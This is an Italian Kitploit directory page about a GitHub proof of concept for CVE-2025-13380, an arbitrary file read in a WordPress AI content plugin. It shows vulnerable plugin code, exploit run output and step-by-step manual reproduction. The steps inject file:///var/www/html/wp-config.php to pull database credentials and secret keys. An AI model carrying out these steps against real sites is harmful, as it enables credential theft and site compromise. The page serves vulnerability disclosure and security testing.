Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-13380 — AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Autenticato (Contributor+) Lettura arbitraria di file | Kitploit
Strumenti/GitHubGitHub/d0n601/cve-2025-13380
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration Testing
GitHubd0n601/cve-2025-13380

CVE-2025-13380

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Autenticato (Contributor+) Lettura arbitraria di file

Vedi Repository
9 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Lettura Arbitraria di File per utenti autenticati (Contributor+)

Il plugin AI Engine for WordPress contiene una vulnerabilità nella funzionalità di inserimento immagini che consente a qualsiasi utente autenticato con capacità di modifica dei post (Contributor, Author, Editor, Administrator) di scaricare file arbitrari dal server. La vulnerabilità deriva dall'endpoint AJAX lqdai_update_post che manca di controlli di capacità adeguati e dalla funzione insert_image() che utilizza file_get_contents() con URL controllati dall'utente senza validazione del protocollo, consentendo il download arbitrario di file tramite il protocollo file://.

Riepilogo sfruttamento

  • Viene fornito un POC CVE-2025-13380.py per dimostrare un utente di livello Contributor che scarica il file wp-config.php del sito.
root@kitploit:~
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

Dettagli

Funzione di Inserimento File

L'azione AJAX lqdai_update_post chiama la funzione update_post() alla riga 315 di /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php, che manca di controlli di capacità adeguati e consente a qualsiasi utente autenticato di modificare i post che può editare:

root@kitploit:~
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
        }
    }
}

Download Arbitrario di File in insert_image()

La funzione insert_image() alla riga 419 utilizza file_get_contents() con URL controllati dall'utente senza validazione del protocollo, consentendo il download arbitrario di file:

root@kitploit:~
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- WRITES 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}

Costruzione del Percorso e Denominazione del File

La costruzione vulnerabile del percorso consente di leggere file locali tramite il protocollo file://:

root@kitploit:~
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Reads /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Writes wp-config.php content

Riproduzione Manuale

  1. Accedi a WordPress come Contributor (o qualsiasi utente con capacità di modifica dei post).
  2. Crea una bozza di nuovo post per ottenere un ID post.
  3. Utilizza gli strumenti per sviluppatori del browser o uno strumento come Burp Suite per intercettare il traffico.
  4. Intercetta una richiesta a /wp-admin/admin-ajax.php che chiama l'azione lqdai_update_post.
  5. Modifica la richiesta per includere un URL con protocollo file:// nel parametro posts[image].
  6. Invia la richiesta con posts[image]=file:///var/www/html/wp-config.php per leggere il file di configurazione di WordPress.
  7. Accedi al file tramite l'URL della directory uploads: /wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.
  8. Estrai file di configurazione sensibili come credenziali del database, chiavi API e salt di sicurezza.
Scarica lo strumento